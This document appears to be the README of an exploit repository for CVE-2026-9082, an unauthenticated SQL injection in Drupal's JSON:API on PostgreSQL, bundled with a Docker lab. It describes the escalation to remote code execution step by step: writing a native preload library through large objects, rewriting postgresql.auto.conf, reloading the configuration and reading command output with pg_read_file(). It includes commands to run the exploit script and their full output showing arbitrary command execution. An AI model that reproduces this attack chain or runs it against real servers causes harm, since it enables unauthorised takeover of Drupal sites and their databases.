Share
## https://sploitus.com/exploit?id=7494D4F4-A649-54A0-92A2-96DC1D8B29D1
# CVE-2026-9082 Drupal PostgreSQL SQLi to RCE

This repository contains a local lab and a short exploit for the Drupal JSON:API PostgreSQL SQL injection described in the Ambionics article.

The important part of the exploit is the PostgreSQL escalation: once the injection can evaluate a `SELECT` expression as a PostgreSQL superuser, it writes a native preload library through large objects, reloads `postgresql.auto.conf`, triggers `session_preload_libraries`, and retrieves command output with `pg_read_file()`.

The exploit reads `version()` first and builds the PostgreSQL module magic block for the detected major version. It handles the PostgreSQL 12, 13-14, 15-17, and 18+ module ABI layouts. The local compiler must still produce a shared object for the same CPU architecture as the target PostgreSQL server.

The lab uses PostgreSQL 18.4, the latest PostgreSQL release at the time of writing. The PostgreSQL escalation path has been tested from PostgreSQL 12.20 through PostgreSQL 18.4.

## Contents

```text
.
โ”œโ”€โ”€ docker-compose.yml
โ”œโ”€โ”€ drupal/
โ”‚   โ”œโ”€โ”€ Dockerfile
โ”‚   โ”œโ”€โ”€ entrypoint.sh
โ”‚   โ””โ”€โ”€ seed-content.php
โ”œโ”€โ”€ drupal-postgres-preload-rce.py
โ”œโ”€โ”€ requirements.txt
โ””โ”€โ”€ README.md
```

The lab uses:

```text
Drupal 10.4.9
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1)
PHP 8.3 / Apache
```

Drupal is connected to PostgreSQL as the `postgres` superuser so the SELECT-only SQL injection can be escalated to RCE.

## Requirements

```sh
docker compose version
python3 --version
cc --version
```

Example output:

```text
Docker Compose version v2.37.3
Python 3.12.3
cc (Ubuntu 13.3.0-6ubuntu2~24.04.1) 13.3.0
```

## Start the lab

Build and start the containers:

```sh
docker compose build --quiet
docker compose up -d
```

Expected output:

```text
Container cve9082-pg18    Started
Container cve9082-drupal  Started
```

Wait for Drupal to become healthy:

```sh
docker compose ps
```

Expected output:

```text
NAME              SERVICE   STATUS
cve9082-pg18      db        Up ... (healthy)
cve9082-drupal    drupal    Up ... (healthy)
```

The lab listens on:

```text
http://127.0.0.1:8089
```

## Verify the lab

Check the PostgreSQL version:

```sh
docker exec cve9082-pg18 psql -U postgres -d drupal -tAc 'select version()'
```

Expected output:

```text
PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
```

Check that JSON:API exposes the seeded article:

```sh
curl -fsS http://127.0.0.1:8089/jsonapi/node/article | python3 -m json.tool | sed -n '1,20p'
```

Expected output:

```json
{
    "jsonapi": {
        "version": "1.0"
    },
    "data": [
        {
            "type": "node--article"
        }
    ]
}
```

## Install Python dependency

```sh
python3 -m venv .venv
. .venv/bin/activate
pip install -r requirements.txt
```

Expected output:

```text
Successfully installed requests-...
```

## Run the exploit

Execute `id` through the unauthenticated JSON:API SQL injection:

```sh
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 id
```

Expected output:

```text
[+] checking SQL injection context
    version: PostgreSQL 18.4 (Debian 18.4-1.pgdg13+1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 14.2.0-19) 14.2.0, 64-bit
    current_user: postgres superuser=True
    data_directory: /var/lib/postgresql/18/docker
    module_abi: PostgreSQL 18 magic=1800 layout=pg18
[+] built PostgreSQL 18 preload module (14080 bytes)
[+] writing preload library to /var/lib/postgresql/18/docker/cve9082_preload.so
    1400/14080 bytes
    ...
    14080/14080 bytes
[+] rewriting /var/lib/postgresql/18/docker/postgresql.auto.conf
    189/189 bytes
[+] reloading PostgreSQL configuration
[+] triggering a fresh backend
[+] reading command output
uid=999(postgres) gid=999(postgres) groups=999(postgres),101(ssl-cert)

__exit=0
[+] restoring/clearing PostgreSQL preload settings
    152/152 bytes
```

Run another command:

```sh
python3 drupal-postgres-preload-rce.py http://127.0.0.1:8089 'uname -a'
```

Expected output:

```text
[+] reading command output
Linux ... x86_64 GNU/Linux

__exit=0
```

## Stop the lab

Stop containers but keep the database volume:

```sh
docker compose down
```

Stop containers and delete the database volume:

```sh
docker compose down -v
```